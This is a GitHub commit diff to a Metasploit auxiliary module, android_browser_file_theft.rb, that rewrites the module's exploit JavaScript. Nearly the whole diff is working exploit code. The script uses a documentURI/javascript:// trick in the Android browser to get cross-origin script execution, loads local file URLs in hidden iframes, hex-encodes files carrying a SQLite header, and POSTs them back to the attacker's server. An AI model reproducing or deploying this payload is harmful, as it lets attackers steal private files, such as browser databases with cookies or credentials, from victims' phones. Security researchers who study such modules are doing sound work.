Skip to content

Commit 3c5d7b3

Browse files
committed
Okay, putting source code in a quoted string is horrible.
1 parent c4b8560 commit 3c5d7b3

File tree

1 file changed

+48
-14
lines changed

1 file changed

+48
-14
lines changed

modules/auxiliary/gather/android_browser_file_theft.rb

Lines changed: 48 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -110,32 +110,66 @@ def exploit_html
110110

111111
def exploit_js
112112
js_obfuscate %Q|
113-
114113
window.onmessage = function(e) {
115114
var x = new XMLHttpRequest;
116115
x.open("POST", location.href);
117116
x.send(JSON.stringify(e.data))
118117
};
119118
119+
120+
function xss() {
121+
var urls = (#{JSON.generate(file_urls)});
122+
function tick() {
123+
setTimeout(function() { next(urls.shift()); });
124+
};
125+
window.onmessage = tick;
126+
127+
function next(url) {
128+
if (!url) return;
129+
try {
130+
var f = document.createElement('iframe');
131+
f.src = url;
132+
f.onload = function() {
133+
f.onload = null;
134+
function nested() {
135+
var x = new XMLHttpRequest;
136+
x.open('GET', location.href);
137+
x.responseType = 'arraybuffer';
138+
x.send();
139+
x.onload = function() {
140+
var buff = new Uint8Array(x.response);
141+
var hex = Array.prototype.map.call(buff, function(d) {
142+
var c = d.toString(16);
143+
return (c.length < 2) ? 0+c : c;
144+
}).join(new String);
145+
if (hex.length && hex.substring(0,8)==='53514c69') {
146+
top.postMessage({data:hex,url:location.href}, '*');
147+
}
148+
parent.postMessage(1,'*');
149+
};
150+
x.onerror = function() {
151+
parent.postMessage(1,'*');
152+
};
153+
}
154+
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
155+
f.contentWindow.location = "";
156+
};
157+
document.body.appendChild(f);
158+
} catch(e) {t();}
159+
};
160+
161+
tick();
162+
163+
}
164+
120165
var brokenFrame = document.createElement('iframe');
121166
brokenFrame.src = 'http://localhost:100';
122-
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
167+
//brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
123168
brokenFrame.onload = function() {
124169
brokenFrame.onload = null;
125-
document.documentURI = 'javascript://hostname.com/%0D%0Aurls=(#{JSON.generate(file_urls)});'+
126-
'var t=function(){setTimeout(function(){next(urls.shift());},1)};window.onmessage=t;'+
127-
'var next=(function(url){if(!url)return;try{var f = document.createElement("iframe");f.src=url;f.onload=f'+
128-
'unction(){f.onload=null;document.documentURI="javascript://hostname.com/%250D%250Ax=new '+
129-
'XMLHttpRequest;x.open(String.fromCharCode(71,69,84),location.href);x.responseType=String.fromCharCode(97,'+
130-
'114,114,97,121,98,117,102,102,101,114);x.send();x.onload=function(){window.onerror=alert;'+
131-
'var buff = new Uint8Array(x.response);var hex = Array.prototype.map.call(buff, function(d)'+
132-
'{var c = d.toString(16);return (c.length < 2) ? 0+c : c;}).join(new String); top.postMessa'+
133-
'ge({data:hex,url:location.href}, String.fromCharCode(42));'+
134-
'parent.postMessage(1,String.fromCharCode(42));};x.onerror=function(){parent.postMessage(1,S'+
135-
'tring.fromCharCode(42))};";f.contentWindow.location = "";};document.body.appendChild(f);}catch(e){t();}});t();';
170+
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
136171
brokenFrame.contentWindow.location = "";
137172
};
138-
139173
document.body.appendChild(brokenFrame);
140174
|
141175
end

0 commit comments

Comments
 (0)